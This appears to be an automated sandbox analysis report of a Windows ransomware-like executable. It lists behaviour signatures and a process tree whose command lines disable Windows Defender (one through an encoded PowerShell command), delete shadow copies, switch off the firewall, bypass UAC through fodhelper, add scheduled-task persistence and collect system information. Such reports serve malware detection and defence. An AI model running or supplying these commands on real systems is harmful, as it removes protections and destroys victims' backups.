Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    03/05/2026, 05:09

General

  • Target
    1dmc.io.exe
  • Size 51KB
  • Sample260503-ftacaaby9w
  • SHA256 09bbb270656361f9c28a5a5bb27b133537bd3c10783ab6af868daab657629250
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 25 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\1dmc.io.exe
    "C:\Users\Admin\AppData\Local\Temp\1dmc.io.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Checks computer location settings
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2336
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4580
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:772
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4128
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:1100
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:2296
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:5040
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3524
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:4352
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1292
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4300
      • C:\Users\Admin\AppData\Local\Temp\1dmc.io.exe
        "C:\Users\Admin\AppData\Local\Temp\1dmc.io.exe"
        3⤵
          PID:4848
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:4656
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\1dmc.io.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2340
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4136
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4132
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1804
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
            PID:1108
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              3⤵
              • Gathers system information
              PID:3652
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3744
            • C:\Windows\system32\tasklist.exe
              tasklist
              3⤵
              • Enumerates processes with tasklist
              • Suspicious use of AdjustPrivilegeToken
              PID:1172
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2288
            • C:\Windows\system32\whoami.exe
              whoami
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3952
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:984
            • C:\Windows\system32\net.exe
              net user
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:344
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user
                4⤵
                  PID:4624
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1832
              • C:\Windows\system32\ipconfig.exe
                ipconfig /all
                3⤵
                • Gathers network information
                PID:2676
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4356
              • C:\Windows\system32\NETSTAT.EXE
                netstat -an
                3⤵
                • Gathers network information
                • Suspicious use of AdjustPrivilegeToken
                PID:5064
            • C:\Windows\SYSTEM32\schtasks.exe
              "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\1dmc.io.exe" /sc daily /f
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3352
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
                PID:956
              • C:\Windows\System32\notepad.exe
                "C:\Windows\System32\notepad.exe"
                2⤵
                  PID:3252
                • C:\Windows\System32\vssadmin.exe
                  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:3636
                • C:\Windows\System32\wbem\WMIC.exe
                  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4144
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3560
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop srservice
                    3⤵
                      PID:3384
                  • C:\Windows\System32\netsh.exe
                    "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:1852
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:1392
                  • C:\Windows\System32\sc.exe
                    "C:\Windows\System32\sc.exe" stop i8042prt
                    2⤵
                    • Launches sc.exe
                    PID:2092
                • C:\Windows\system32\LogonUI.exe
                  "LogonUI.exe" /flags:0x0 /state0:0xa390f855 /state1:0x41c64e6d
                  1⤵
                  • Drops desktop.ini file(s)
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:2056
                • C:\Users\Admin\AppData\Local\Temp\1dmc.io.exe
                  C:\Users\Admin\AppData\Local\Temp\1dmc.io.exe
                  1⤵
                    PID:3544
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:904
                  • C:\Windows\system32\wbem\wmiprvse.exe
                    C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                    1⤵
                      PID:3352

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

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                          Downloads

                          LockScreen___1920_1080_notdimmed.jpg

                          • Path C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-2023547815-1162023398-1465618254-1000\ReadOnly\LockScreen_O\LockScreen___1920_1080_notdimmed.jpg
                          • Size 354KB
                          • SHA256 bf0b91d2e68a56d0bd1a39ccaf908ec0cfccac24c899800d6f5bc4aef4091c8e
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          invoice_1.pdf

                          • Path C:\ProgramData\invoice_1.pdf
                          • Size 69KB
                          • SHA256 e033eeaecefe75f2d6bed77490cf4f2b9e2b5f256ee9d92dfbd8eac1bceeb6d9
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          doc_3.pdf

                          • Path C:\SystemVolumeInformation\doc_3.pdf
                          • Size 68KB
                          • SHA256 9a83af95932996fdb3c7fd99038ac9ad2c94377a208085f47b3bf71634dceeba
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          1dmc.io.exe.log

                          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\1dmc.io.exe.log
                          • Size 660B
                          • SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
                          • MD5 SHA1 SHA512 TLSH

                          __PSScriptPolicyTest_oxswcxcy.dia.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oxswcxcy.dia.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 232B
                          • SHA256 e8d16bc365d022a3f7627706b659f9a210a3736913047c8e27a20af385b30d5d
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          makelnk.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                          • Size 233B
                          • SHA256 692cc589f1ca834ac696af9d1248e0bb69a2659d51c0519ac61afd42be94a3a1
                          • MD5 SHA1 SHA512 TLSH

                          sysupdate.exe

                          • Path C:\Windows\System32\sysupdate.exe
                          • Size 51KB
                          • SHA256 09bbb270656361f9c28a5a5bb27b133537bd3c10783ab6af868daab657629250
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/956-2252-0x000001C8C6C60000-0x000001C8C6C6C000-memory.dmp

                          memory/956-2251-0x000001C8C4F10000-0x000001C8C4FBC000-memory.dmp

                          memory/2056-2269-0x000001DD097F0000-0x000001DD0989C000-memory.dmp

                          memory/2336-0-0x0000000000A60000-0x0000000000A74000-memory.dmp

                          memory/2336-2268-0x0000000002BF0000-0x0000000002BFC000-memory.dmp

                          memory/2336-15-0x000000001E770000-0x000000001EC98000-memory.dmp

                          memory/2336-14-0x000000001DD10000-0x000000001DED2000-memory.dmp

                          memory/2336-1-0x00007FFD6F170000-0x00007FFD6F439000-memory.dmp

                          memory/2336-2270-0x00007FFD6F170000-0x00007FFD6F439000-memory.dmp

                          memory/3252-2272-0x000001EB76C40000-0x000001EB76CEC000-memory.dmp

                          memory/3252-2258-0x000001EB78A10000-0x000001EB78A11000-memory.dmp

                          memory/4580-26-0x0000017712450000-0x0000017712472000-memory.dmp

                          memory/4580-30-0x0000017711E10000-0x0000017711E1C000-memory.dmp

                          memory/4656-2239-0x000002A9C0D30000-0x000002A9C0DDC000-memory.dmp

                          memory/4656-2240-0x000002A9C2600000-0x000002A9C260C000-memory.dmp